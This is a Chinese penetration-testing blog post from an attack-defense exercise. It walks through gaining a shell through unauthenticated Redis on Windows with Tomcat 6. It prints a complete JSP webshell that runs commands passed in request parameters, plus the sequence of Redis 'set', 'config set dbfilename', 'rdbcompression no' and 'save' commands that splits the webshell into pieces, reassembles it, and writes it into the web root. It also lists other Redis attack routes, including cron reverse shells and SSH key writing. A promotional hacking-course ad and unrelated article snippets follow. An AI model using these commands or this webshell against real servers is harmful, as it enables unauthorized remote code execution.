Windows 与 Java 环境下的 Redis 利用分析
1 前言
在最近的一次攻防演练中,遇到了两个未授权访问的 Redis 实例。起初以为可以直接利用,但后来发现竟然是Windows + Java (Tomcat)。因为网上没有看到相关的利用文章,所以在经过摸索,成功解决之后决定简单写一写。
本文介绍了从发现redis未授权入口到成功getshell的整个过程,主要内容集中在后半段的如何写shell处。虽然最后的结局有些喜剧,但是希望本文中的某些部分能值得大家参考。
本次的渗透环境:Windows + Java + Redis 3.0.500
2 如果世界上只有一个操作系统
2.1 失败的常规操作
Redis一般来说有如下几种利用方式:
-
直接写shell (Linux/Windows。需要绝对路径,如果不知道绝对路径可以尝试一些默认的路径,或者尝试通过debug信息和报错信息看有没有路径的泄露。Linux相对好猜一点,Windows下如果是IIS这种可以尝试C:/inetpub/wwwroot/,其他的也只能硬猜)
-
写SSH密钥 (Linux。需要以root身份启动Redis并且允许root用户通过密钥登录)
-
写计划任务 (Linux。如果是root的话可以直接向root写计划任务,如果不是的话需要猜测用户名)
-
主从复制 (需要Redis版本4及4以上)
-
dll劫持 (Windows。劫持dbghelp.dll,主从复制写入恶意DLL并通过Redis命令触发)
-
写入启动项 (Windows。需要机器重启)
-
......
探测到漏洞之后我最先尝试的是计划任务反弹shell,但是在等待数分钟之后没有反应,介于可能的情况比较多,所以没有深究转而去尝试其他方法。因为不知道网站的绝对路径所以暂时没有考虑直接写shell,而是尝试去写密钥实现免密登录,于是我得到了一个路径不存在的提示。
图1 尝试写入密钥
最终在经过了一番尝试之后我竟然得到了来自C盘的肯定。不得不说Redis和Windows的搭配确实少见。
图2 来自C盘的肯定
事已至此写密钥的方法也行不通了,只能试着去找到网站的绝对路径从而写入我们的webshell。为了方便猜路径,我先尝试了D盘,E盘,F盘来确定盘符的范围。
图3 来自E盘的肯定
D盘没有权限那么就不用管了,而一般来说多盘符服务器的网站放在C盘和D盘的概率比较大,往后的其他盘都用作资料,软件的存放和备份等。既然D盘没有权限,那网站自然不可能在D盘,于是我将勇士的荣光都 all in 到了C盘。
先来个C:\\inetpub\\wwwroot
试试水,结果当然是不出所料的 "No such file or directory"。
虽然不是天选之子但是那也不能硬猜,所以进行了端口扫描,并计划查看网站以获取更多信息。
图4 来自汤姆的肯定
此刻当我看到tomcat的时候还没意识到事情的严重性,殊不知可怜的我即将在不久之后被汤姆玩弄于股掌之中!!!
2.2 汤姆的肯定
既然知道网站使用了tomcat,那么对命名也有了大概的方向。在随手测了几个可能的目录无果之后,我开始在网上搜索tomcat的安装,并收集这些安装包的名字。
最终我找到了如图所示的目录名称。
图5 来自我对汤姆的肯定
这里目标的环境是tomcat6.0.18版本,最终成功设置目录。
图6 tomcat网站根目录
目录都到手了,也有写文件的权限,那还不手到擒来?
稳妥起见,先写个txt试探一下它。
图7 写入txt
访问之后直接下载了,打开看看。
图8 txt乱码
之后我尝试了多种写入的方式:写入空白文本到txt、写入纯数字到jsp文件、写入jsp代码到jsp文件等等,但是不管怎么样始终有乱码。不对劲,绝对有一万个不对劲在里面。
最后我终于发现是因为其他库里还存在键值数据,我一直以为save只对当前 select 所操作的数据库有效,没想到是整个数据库都被写入了。因为其他数据库的部分键值中存在着一些Java代码和一些乱码字符,所以导致我写入的jsp要么没写进去要么就一直报错。
因为其中一台Redis的数据库东西比较少,都是些缓存数据,所以我就直接 flushdb 把它清空了 (文章后面会给一个更好的解决办法,避免有时候存在重要的数据不方便清空但是脏数据的存在又影响写shell)。
既然现在没有脏数据影响了,总该能成功写入了吧。还是老规矩,保险起见先跟世界打个招呼。
/r/n/r/n<% out.println("Hello World"); %>/r/n/r/n
图9 你好! 世界!
没有问题,代码已经成功执行了。那就可以直接写shell了,其实这个时候心里已经开始慌了,PHP那确实是一句话,但是jsp的一句话是不是话密了一点?往往这种较长的执行最容易出问题。
先来个冰蝎的一句话吧。
图10 写入冰蝎一句话
果不其然的报错了,虽然有的时候500的状态码依然可以尝试连接,但是这个报错信息看起来是没有希望了。
不过总感觉冰蝎这个马子还是太长了一点,如果要调试的话会比较麻烦,于是在网上找了下更短的一句话。
图11 尝试其他一句话
依然还是报错,后面的时间我又尝试了很多不同的一句话木马和各种小马,为了确保不是马的问题,又在本地虚拟机起了一个tomcat来验证马的可用性。结果依然是都不行,全都会因为一些莫名其妙的乱码出现穿插在代码之中导致jsp代码的报错,甚至代码自己本身的一些字符也会出现乱码的情况。
为了搞清楚报错的地方到底在哪里,我们尝试把一句话写入到txt中然后下载回来看一下源码,做一下对照。
通过观察我传入的数据和下载回来的txt中的数据,我发现产生乱码的地方很有可能跟转义、歧义、正则之类的有关系,也就是说我们的字符在中间某个过程被影响了,初步猜测可能是Redis和Java通信之间的原因。
这是经过格式化后的一句话,方便大家观看。
<%
if ("023".equals(request.getParameter("pwd"))) {java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while ((a = in.read(b)) != -1) {out.println(new String(b));}out.print("</pre>");
}
%>
而下载回来的txt的内容如下。
图12 下载的乱码文件
以图中产生乱码的 request.getParameter("pwd") 部分为例,我们试着给他加上转义符号。
r\e\q\uest.getParameter("pwd")
再次save写入txt文件之后,最后的结果表明它确实正常显示了,这也印证了我们的猜想:在Redis和Java通信的过程中,我们写入的字符串在某个地方被带入了计算或者成为了转义之类的处理过程,导致我们的文本无法按照我们的预期写入到文件当中。
图13 转义后的txt
尽管我们可以通过添加转义符号来解决上述问题,但这也引入了一个新的挑战:当程序不能正确执行时出现乱码。尽管添加转义符号似乎使文本正常显示,但在 JSP 中,这些转义符号也被视为代码的一部分,导致我们的木马也无法正常运行。
3 麻出又一春
我这时突然想到了最开始的hello world,简单的一行代码成了一个心结:为什么单纯的printIn输出就没有问题?为什么语句稍微复杂一点之后会有问题了?到底是目标环境的问题还是payload传输过程的问题还是其他什么原因?于是我开始了漫长的调试过程,在这期间我还尝试了DLL劫持的攻击方式,不过可能是因为目标不出网的问题,导致并没有监听到目标的响应所以利用失败了。
最终我发现了一个Redis在Windows + Java环境下写shell的方法,同时也可以在避免flushdb数据库的情况下解决脏数据的影响。大体思路如下:
从单纯的printIn一个hello world来看,较短的payload看起来似乎没有问题,那么我们可以尝试将较长的payload分解为多个较短的payload,这样有可能避免payload在传输过程中被污染。拆分的方法很简单,只需设置多个键值对,那么如何让他们再拼接合成呢?
正如前文所提到的,Redis的save会将数据库中的所有键值对都写入文件当中。这一特性现在似乎成为了解决问题的关键环节。我们只需要将 payload 分散到多个键值对中,当执行 save 命令时,Redis将自动将它们全部写入到文件里。
我们通过一个简单的小实验来验证这个猜想。
图14 拼接实验
save后观察txt的结果可以发现x和y的值确实被拼接起来了,这就意味着我们确实可以将payload拆散到多个键值对当中再进行拼接。
图15 拼接实验
我们将前面提到的木马拆分为9个部分并将它们分别赋值。
set x '<% if ("023".equals(request.getParameter("pwd"))) {'
set x2 'java.io.InputStream in = Runtime.getRuntime().exec('
set x3 'request.getParameter("i")).getInputStream();'
set x4 'int a = -1;'
set x5 'byte[] b = new byte[2048];'
set x6 'out.print("<pre>");'
set x7 'while ((a = in.read(b)) != -1) {'
set x8 'out.println(new String(b));}'
set x9 'out.print("</pre>");}%>'
save
save之后再来看看txt的结果是怎么样的。(这里为了方便观看我依然进行了flushdb操作)。
图16 顺序拆分后txt结果
看起来我们的办法似乎生效了,已经没有乱码的情况产生,但是可以发现两个新问题:拼接好的shell代码顺序不对,Redis没有按照设置变量的顺序来写入文件 (实际上写入的顺序跟Redis内部的数据结构有关)并且每一段小payload在被拼接起来的时候会有脏数据的产生,也就是在写入文件的时候Redis同时还写入了键名,这样就导致多个键名穿插在我们的shell代码之中。
幸运的是,经过测试我们可以发现Redis在某一段时间内的写入顺序是不会变化的 (除非你更改了select的数据库或者对键值对有更改),那么我们可以先save一次所有的键值对之后再观察结果的顺序,这样就能知道Redis是按照怎样顺序来写入的文件,最后我们再对键值对的赋值进行调整。
如上图所示,通过对照正确的shell代码,可以整理出当前redis对这些键值的写入顺序如下。
x5 - x6 - x4 - x7 - x - x2 - x8 - x9 - x3
也就是说键值对{x5: value}
被第一个写入到文件当中,那么自然我们需要将原本的第一个小payload的值赋予x5,也就是如下所示。
set x5 '<% if ("023".equals(request.getParameter("pwd"))) {'
排列所有的顺序之后对键的赋值做出如下调整。
set x 'byte[] b = new byte[2048];'
set x2 'out.print("<pre>");'
set x3 'out.print("</pre>");}%>'
set x4 'request.getParameter("i")).getInputStream();'
set x5 '<% if ("023".equals(request.getParameter("pwd"))) {'
set x6 'java.io.InputStream in = Runtime.getRuntime().exec('
set x7 'int a = -1;'
set x8 'while ((a = in.read(b)) != -1) {'
set x9 'out.println(new String(b));}'
我们save之后再次查看txt的结果。
图17 调整顺序后的txt结果
现在看起来已经几乎要成功了,我们需要的数据已经按预期组合了起来,而至于数据之间的脏数据问题很好解决,我们很容易想到利用注释符来进行处理。
我们只需要在前一段数据的末尾加上注释起始符号,在后一段数据的开头加上闭合部分,即可注释掉中间的脏数据。
再次调整payload,并在其中加上Redis的特有换行,得到最终的payload结果如下。
set x '*/byte[] b = new byte[2048];/*'
set x2 '*/out.print("<pre>");/*'
set x3 '*/out.print("</pre>");}%>'
set x4 '*/request.getParameter("i")).getInputStream();/*'
set x5 '/r/n/r/n<% if ("023".equals(request.getParameter("pwd"))) {/*'
set x6 '*/java.io.InputStream in = Runtime.getRuntime().exec(/*'
set x7 '*/int a = -1;/*'
set x8 '*/while ((a = in.read(b)) != -1) {/*'
set x9 '*/out.println(new String(b));}/*'
先写入到txt中看一下效果。
图18 最终拼接结果
好了,现在可以看到我们的代码已经完美的写入到了文件当中,中间的脏数据也已经被我们的注释包裹,不出意外的话应该是可以正常执行了。
设置dbfilename为jsp文件然后save。
图19 成功执行
完美!另外,从图中我们可以看到在执行前方还有很多的数据,虽然在复现演示这里并没有产生影响,但是在最初实际渗透的时候却是导致了500错误。如果有遇到这种情况,解决的办法也很简单,依旧是注释符。
我们只需要找到第一个被写入的键值在它前面加上<!--
,然后在我们写入的第一个payload的值前方加上闭合注释>即可。(如果脏数据当中没有包含Java的代码,那么这里会是txt文本格式输出,就不用管这一段脏数据,如果实在太长影响操作,可以尝试写入html标签进行包裹再注释。)
这里我们可以看到第一个被写入的文件是34287327-TIMES。
图20 被第一个写入的脏数据键值对
给34287327-TIMES加上注释起始符号。
图21 脏数据注释起始符号
给木马的第一行加上闭合符号。
图22 脏数据注释闭合符号
4 汤姆竟是我自己
因为当时正处于攻防演练之中,所以没有时间去搭建环境仔细研究,于是演练结束后立马搭建了跟目标一模一样的环境进行实验:Windows 2012 (目标是2008) + tomcat 6.0.18 + Redis 3.0.500 + jdk6。包括安装目录等都跟目标保持一致。
复现之前的情况发现确实还是有乱码的情况产生,这说明至少问题的产生具有普遍性。
直到此时此刻我还满怀研究的心情在继续实验,考虑到dbfilename默认是写入到Redis的rdb文件,所以我决定从这方面入手,看是否跟Redis写入过程有关系。
直到我在查看相关资料的时候我看到了这个。
图23 Redis压缩
当我看到压缩两个字的时候心都凉了,或许问题并没有我考虑的那么复杂,但是事到如今只能试试了。
config set rdbcompression no
图24 关闭Redis默认压缩
fine,毁灭吧。看来Redis在存数据的时候会进行压缩,在取数据的时候会解压缩,而至于为什么最开始的hello world和平时写php,aspx等一句话木马没有产生乱码,我猜可能是因为文本大小没有达到压缩的条件。
图25 关闭Redis默认压缩
5 结语
打演练时间比较紧张,没有时间搭建环境研究原理也没有确实办法,只能基于web的思路进行一些bypass。不过最后的结局应该会被比较了解Redis的师傅耻笑了哈哈。
这篇文章的本质到现在来看似乎成了解决Redis在写长文本的情况下遇到的乱码问题,而不是Windows + Java的特例。不过对于渗透选手来说几乎都是Redis写入php或者aspx等一句话,这类一句话都比较短,所以不太会遇到乱码的情况,至少从演练现场的情况来看,其他师傅也只是交了Redis未授权。
不管怎么说,虽然问题的产生和解决都很简单,但是希望这篇文章的解决思路和最后的实战应用结论对大家来说有价值。
图26 可怜的汤姆被玩弄于股掌之中
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
2️⃣视频配套资料&国内外网安书籍、文档
① 文档和书籍资料
② 黑客技术
因篇幅有限,仅展示部分资料
4️⃣网络安全面试题
5️⃣汇总
所有资料 ⚡️ ,朋友们如果有需要全套 《网络安全入门+进阶学习资源包》,扫码获取~
相关文章:

Windows 与 Java 环境下的 Redis 利用分析
1 前言 在最近的一次攻防演练中,遇到了两个未授权访问的 Redis 实例。起初以为可以直接利用,但后来发现竟然是Windows Java (Tomcat)。因为网上没有看到相关的利用文章,所以在经过摸索,成功解决之后决定简单写一写。 本文介绍了…...

机器视觉系统硬件组成之工业相机篇
工业相机是一种非常重要的机器视觉器件,它能够将被采集的图像信息通过电路转换成电信号,再通过模数转换器(ADC)将其转化为数字信号,最后以标准的视频信号输出。工业相机在机器视觉领域得到了广泛应用,包括质…...

离线安装bitnami-gitlab8.8.4+汉化
注意: 常规安装gitlab需要联网,而按装bitnami-gitlab无需联网(bitnami-gitlab用于内网环境无法联网时安装gitlab,两者是一个东西只是名字不一样)bitnami-gitlab-8.8.4版本可以汉化成功新用户注册账户无需激活也可以直接登录,因为…...

亚马逊日本站推出AI日语listing功能,Listing一键发布,轻松无忧!
随着大数据与人工智能技术的成熟,AI在电商的应用也越来越多,各大电商平台都在陆续引进AI人工智能,有客服方面的,也有发布Listing方面的。 10月17日消息,亚马逊日本站近日宣布推出一项支持日语的人工智能listing功能&am…...

Golang | Leetcode Golang题解之第475题供暖器
题目: 题解: func findRadius(houses, heaters []int) (ans int) {sort.Ints(houses)sort.Ints(heaters)j : 0for _, house : range houses {dis : abs(house - heaters[j])for j1 < len(heaters) && abs(house-heaters[j]) > abs(house-…...

【Vue】Vue3.0 (十二)、watchEffect 和watch的区别及使用
上篇文章: 【Vue】Vue3.0 (十二)、watch对ref定义的基本类型、对象类型;reactive定义的对象类型的监视使用 🏡作者主页:点击! 🤖Vue专栏:点击! ⏰️创作时间&…...

PHP-laravel框架
laravel框架 laravel 搭建与路由基础 基本路由与视图路由 视图使用控制器模板分配变量...

永恒之蓝漏洞
MS17-010是微软于2017年3月发布的一个安全补丁,旨在修复Windows操作系统中的一个严重漏洞,该漏洞被称为“永恒之蓝”(EternalBlue)。这个漏洞影响了Windows的Server Message Block(SMB)协议,允许…...

Eking管理易 Html5Upload 前台任意文件上传漏洞复现
0x01 产品描述: Eking管理易是一款专为广告制品制作企业量身定制的管理软件产品,旨在帮助企业实现规范化、科学化管理,提升运营效率和降低运营成本。 该软件由广州易凯软件技术有限公司开发,基于JAVA企业版技术研发࿰…...

spring boot itext7 修改生成文档的作者、制作者、标题,并且读取相关的信息。
1、官方的example文件:iText GitHub itext-java-7.2.5\kernel\src\test\java\com\itextpdf\kernel\pdf\PdfStampingTest.java 2、修改代码: Testpublic void stamping1() throws IOException {String filename1 destinationFolder "stamping1_…...

LeetCode题练习与总结:灯泡开关--319
一、题目描述 初始时有 n 个灯泡处于关闭状态。第一轮,你将会打开所有灯泡。接下来的第二轮,你将会每两个灯泡关闭第二个。 第三轮,你每三个灯泡就切换第三个灯泡的开关(即,打开变关闭,关闭变打开&#x…...

ClickFix攻击活动升级:可通过虚假谷歌会议画面传播恶意软件
最近,研究人员报告了一种新的 ClickFix 攻击活动,主要通过诱骗用户访问显示虚假连接错误的欺诈性 谷歌会议的页面,继而借此传播信息窃取恶意软件,主要针对 Windows 和 macOS 操作系统。 ClickFix是网络安全公司Proofpoint在5月份…...

迷茫!能走出迷茫?
我今年40有余,因资质平庸,及特殊的个人经历,仍奋斗在一线。上班近二十年,两件事对我人生走向影响最大,编程和炒股。 下个月要去一家新公司上班。今天算是在现公司工作交接的最后时段。在这家公司干了接近一年ÿ…...

6.2 遍历重定位表
本节我们将编写一个遍历重定位表的示例程序,打印重定位表。 本节必须掌握的知识点: 遍历重定位表 6.2.1 遍历重定位表 实验四十三:遍历重定位表 以下代码实现打印"c:\\notepad64.exe"进程重定位表的所有信息。 /*--------------…...

面对服务器掉包的时刻困扰,如何更好的解决
在数字化时代,服务器的稳定运行是企业业务连续性的基石。然而,服务器“掉包”现象,即数据包在传输过程中丢失或未能正确到达目的地的情况,却时常成为IT运维人员头疼的问题。它不仅影响用户体验,还可能导致数据不一致、…...

RTSP流图片采样助手(yolov5)
在监控和视频分析领域,实时采样视频流中的图像数据是十分重要的。本文将介绍一个基于Python和Tkinter构建的RTSP流图片采样助手的设计与实现,旨在简化RTSP流的采样过程,并支持根据用户定义的特殊标签进行筛选。 项目概述 该项目的主要功能包…...

MySQL、MariaDB、OceanBase远程异地定时备份脚本
问题背景 公司需要在异地机房远程备份数据库,以防止数据丢失,同时要支持MySQL、MariaDB和OceanBase。由于MariaDB和OceanBase支持MySQL语法,所以可以直接用MySQL Client进行备份。 安装MySQL客户端 yum install mysql编写脚本 编写/backu…...

【远程监控新体验】OpenObserve结合内网穿透无公网IP远程访问全攻略
文章目录 前言1. 安装Docker2. Docker镜像源添加方法3. 创建并启动OpenObserve容器4. 本地访问测试5. 公网访问本地部署的OpenObserve5.1 内网穿透工具安装5.2 创建公网地址6. 配置固定公网地址前言 本文主要介绍如何在Linux系统使用Docker快速本地化部署OpenObserve云原生可观…...

深度学习:异常检测(Anomaly Detection)详解
异常检测(Anomaly Detection)详解 异常检测,也称为离群点检测,是一种用于识别在数据中显著偏离正常行为或预期模式的数据点的技术。这些异常数据点可能代表系统错误、欺诈行为、网络入侵或任何其他重要且通常需要进一步调查的现象…...

智慧公厕系统提升公共服务满意度
在现代城市化进程中,公共服务体系的完善与提升成为了政府和社会各界的重要任务。作为公共厕所这样一个普遍而基础的市政设施,其服务质量直接影响到市民的生活品质和城市形象。近年来,智慧公厕系统的引入逐渐成为提升公共服务满意度的重要手段…...

幼儿和青少年编程学习路径
1. 引言 编程在现代教育中的重要性 随着信息时代的来临,编程不再是一个小众技能,而是成为未来社会各行业的重要基础能力。从计算机科学到人工智能,再到数据科学和软件工程,编程技能无疑是未来全球经济的核心驱动力之一。越来越多…...

leetcode48:旋转矩阵
题目: 给定一个 n n 的二维矩阵 matrix 表示一个图像。请你将图像顺时针旋转 90 度。 你必须在 原地 旋转图像,这意味着你需要直接修改输入的二维矩阵。请不要 使用另一个矩阵来旋转图像。 示例 1: 输入:matrix [[1,2,3],[4,5…...

安装CentOS 8镜像和创建CentOS 8虚拟机教程
一、安装虚拟机 网上查找教程,我用的是VMware 17 二、下载CentOS 8镜像 1.阿里云下载CentOS 8镜像 centos安装包下载_开源镜像站-阿里云 (aliyun.com) 选择需要下载的版本,(建议)下载dvd1版本的iso(也有下载boot版本的iso,创…...

针对考研的C语言学习(二叉树专题)
二叉树层次建树 对于二叉树,建树过程中需要一个(尾插法的)链表(或队列)来辅助确认当前父亲节点 由于尾插法需要一个尾指针。因此可以理解为队列,只不过是不带头结点的链表版队列。 但其实就是一个辅助找…...

【ARM 嵌入式 编译系列 10.9 -- Clang 编译器】
> ARM GCC 编译精讲系列课程链接 < 文章目录 Clang 编译器详细介绍Clang 主要特点Clang 许可协议Clang 与 GCC 主要差异Clang 使用示例Summary Clang 编译器详细介绍 Clang 是一个由 LLVM 项目开发的编译器前端,支持 C、C、Objective-C 和 Objective-C 等编程…...

《深度学习》【项目】自然语言处理——情感分析 <上>
目录 一、项目介绍 1、项目任务 2、评论信息内容 3、待思考问题 1)目标 2)输入字词格式 3)每一次传入的词/字的个数是否就是评论的长度 4)一条评论如果超过32个词/字怎么处理? 5)一条评论如果…...

RU19.25 Standalone (GI和DB分开打)
参考文档:Patch 36916690 - GI Release Update 19.25.0.0.241015 2.1.1.1 OPatch Utility Information 12.2.0.1.42 or later 2.1.1.2 Validation of Oracle Inventory 分别在GI和Oracle Home下执行 $ <ORACLE_HOME>/OPatch/opatch lsinventory -detail -o…...

探索 Jupyter 核心:nbformat 库的神秘力量
文章目录 探索 Jupyter 核心:nbformat 库的神秘力量1. 背景介绍:为何选择 nbformat?2. nbformat 是什么?3. 如何安装 nbformat?4. 简单的库函数使用方法4.1 读取 Notebook 文件4.2 修改 Notebook 中的单元格4.3 添加 M…...

python+大数据+基于spark的短视频推荐系统【内含源码+文档+部署教程】
博主介绍:✌全网粉丝10W,前互联网大厂软件研发、集结硕博英豪成立工作室。专注于计算机相关专业毕业设计项目实战6年之久,选择我们就是选择放心、选择安心毕业✌ 🍅由于篇幅限制,想要获取完整文章或者源码,或者代做&am…...

Elasticsearch字段数据类型
1. 前言 ES文档的每个字段都至少有一个数据类型,此类型决定了字段值如何被存储以及检索。例如,字符串类型可以定义为text或者keyword,前者用于全文检索,会经过分词后索引;后者用于精准匹配,值会保持原样被…...